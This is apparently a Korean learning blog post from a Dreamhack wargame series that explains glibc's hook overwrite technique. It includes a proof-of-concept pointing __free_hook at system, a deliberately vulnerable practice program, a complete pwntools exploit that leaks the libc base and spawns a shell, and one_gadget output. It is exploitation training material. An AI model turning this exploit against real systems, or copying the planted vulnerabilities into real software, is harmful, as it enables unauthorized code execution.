[Dreamhack] Exploit Tech: Hook Overwrite

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
25/49

메모리 함수 훅

C언어에서 메모리의 동적 할당과 해제를 담당하는 함수에는 대표적으로 malloc, free, realloc이 있습니다.

이 함수들은 libc.so에 구현되어 있고 libc 에는 이 함수들의 디버깅 편의를 위해 훅 변수가 저장되어 있습니다.


malloc 함수를 봐보면

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

__malloc_hook 변수의 값이 NULL인지 아닌지 검사하고 NULL이 아니면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행합니다. 이때 malloc의 인자는 훅 함수에 전달됩니다.

free와 realloc에도 각각 __free_hook, __realloc_hook이라는 변수가 있습니다.

만약 이 인자 값을 수정할 수 있다면 __malloc_hook을 system 함수로 덮어쓰고 인자 값을 "/bin/sh"로 수정해서 쉘을 띄울 수 있을 거 같습니다.


한번 인자값을 수정할 수 있나 확인해보면

ubuntu@DESKTOP-DENGS1H:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep -E "__malloc_hook|__free_hook|__realloc_hook"
   222: 00000000003ed8e8     8 OBJECT  WEAK   DEFAULT   35 __free_hook@@GLIBC_2.2.5
  1134: 00000000003ebc30     8 OBJECT  WEAK   DEFAULT   34 __malloc_hook@@GLIBC_2.2.5
  1547: 00000000003ebc28     8 OBJECT  WEAK   DEFAULT   34 __realloc_hook@@GLIBC_2.2.5
ubuntu@DESKTOP-DENGS1H:~$ readelf -S /lib/x86_64-linux-gnu/libc-2.27.so | grep -A 1 "\.bss"
  [35] .bss              NOBITS           00000000003ec860  001ec860
       0000000000004280  0000000000000000  WA       0     0     32

인자들이 bss 영역에 위치해서 인자 값을 수정할 수 있습니다.




Hook Overwrite

malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하고 해당 변수들은 bss 영역에 존재해서 값을 덮어쓸 수 있습니다.

그리고 훅이 실행될 때 기존 함수 인자를 같이 전달해주기 때문에, __malloc_hook을 system 함수 주소로 덮고 malloc("/bin/sh")를 호출하여 쉘을 획득 할 수 있습니다.

한번 해보면

/ Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

 kali@kali  ~/dreamhack/Bypass_PIE_RELRO/Hook_Overwrite  ./fho-poc       
"__free_hook" now points at "system"
call free("/bin/sh")
$ ls
fho-poc  fho-poc.c  peda-session-fho-poc.txt

쉘이 뜨고 명령어들이 정상적으로 처리됩니다.




Free Hook Overwrite

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  
  return 0;
}
  • read(0, buf, 0x100) 에서 버퍼 오버플로우가 발생합니다.

  • scanf("%llu", &addr), scanf("%llu", &value)에서 주소와 값을 입력하고 *addr = value를 통해 해당 주소에 값을 쓸 수 있습니다.

  • scanf("%llu", &addr)에서 주소를 입력하고 free(addr)로 그 주소의 메모리를 해제할 수 있습니다.


보호 기법을 봐보면

ubuntu@DESKTOP-DENGS1H:~$ checksec fho
[*] '/home/ubuntu/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

모든 방어기법이 걸려있습니다.




공격 수단

[1] 스택의 어떤 값을 읽을 수 있다.

[2] 임의 주소에 임의 값을 쓸 수 있다.

[3] 임의 주소를 해제할 수 있다.




설계

1. 라이브러리의 변수 및 함수들의 주소 구하기

[1] 을 이용해서 libc_base 주소를 구합니다.

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdea0 --> 0x0 
0008| 0x7fffffffdea8 --> 0x7ffff7dfc7fd (<__libc_start_main+205>:       mov    edi,eax)
0016| 0x7fffffffdeb0 --> 0x7fffffffdf98 --> 0x7fffffffe2f5 ("/home/kali/dreamhack/Bypass_PIE_RELRO/Hook_Overwrite/fho")
0024| 0x7fffffffdeb8 --> 0x1f7fca000 
0032| 0x7fffffffdec0 --> 0x555555555189 (<main>:        push   rbp)
0040| 0x7fffffffdec8 --> 0x7fffffffe2d9 --> 0x54e475bb3b07ca95 
0048| 0x7fffffffded0 --> 0x555555555310 (<__libc_csu_init>:     push   r15)
0056| 0x7fffffffded8 --> 0xa0652424ecb0093d 
[------------------------------------------------------------------------------]

2. 쉘 흭득

[2]에서 __free_hook의 값을 system 함수의 주소로 덮고

[3]에서 "/bin/sh"를 해제하면 system("bin/sh")가 호출되어 쉘을 흭득 할 수 있습니다.




익스플로잇

1. 라이브러리의 변수 및 함수들의 주소 구하기

main 함수의 Return Address인 libc_start_main을 읽은 다음 GDB에서 읽은 __libc_start_main+205를 빼면 libc_base를 구할 수 있습니다.

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level = 'debug'

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
$ python3 exploit.py
[+] Starting local process './fho': pid 137
[*] '/home/ubuntu/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_base: 0x7f1eb8800000
[+] system: 0x7f1eb884f420
[+] free_hook: 0x7f1eb8bed8e8
[+] /bin/sh: 0x7f1eb89b3d88

2. 쉘 흭득

구한 __free_hook, system 함수, "/bin/sh" 문자열의 주소를 이용하면 쉘을 흭득할 수 있습니다.

from pwn import *

def slog(name, addr):
    return success(": ".join([name, hex(addr)]))

p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level = 'debug'

# [1] Leak libc base
buf = b'A'*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 205)

system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)


# [2] Overwrite free_hook with system
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))


# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

$ python3 exploit.py
[+] Starting local process './fho': pid 137
[*] '/home/ubuntu/fho'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_base: 0x7f1eb8800000
[+] system: 0x7f1eb884f420
[+] free_hook: 0x7f1eb8bed8e8
[+] /bin/sh: 0x7f1eb89b3d88
[*] Switching to interactive mode
$



one_gadget

one_gadget은 실행하면 쉘이 흭득되는 코드 뭉치를 말합니다. 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있습니다.

예를 들어 __malloc_hook을 덮어쓸 수 있는데, malloc을 호출할 때 인자를 검사해서 "/bin/sh"를 인자로 전달하기 어렵다면

제약조건을 만족하는 one_gadget을 이용해서 쉘을 흭득할 수 있습니다.

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
/var/lib/gems/2.5.0/gems/one_gadget-1.8.1/lib/one_gadget/helper.rb:261: warning: Insecure world writable dir /mnt/c in PATH, mode 040777
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL



Exploit Tech: Hook Overwrite

0개의 댓글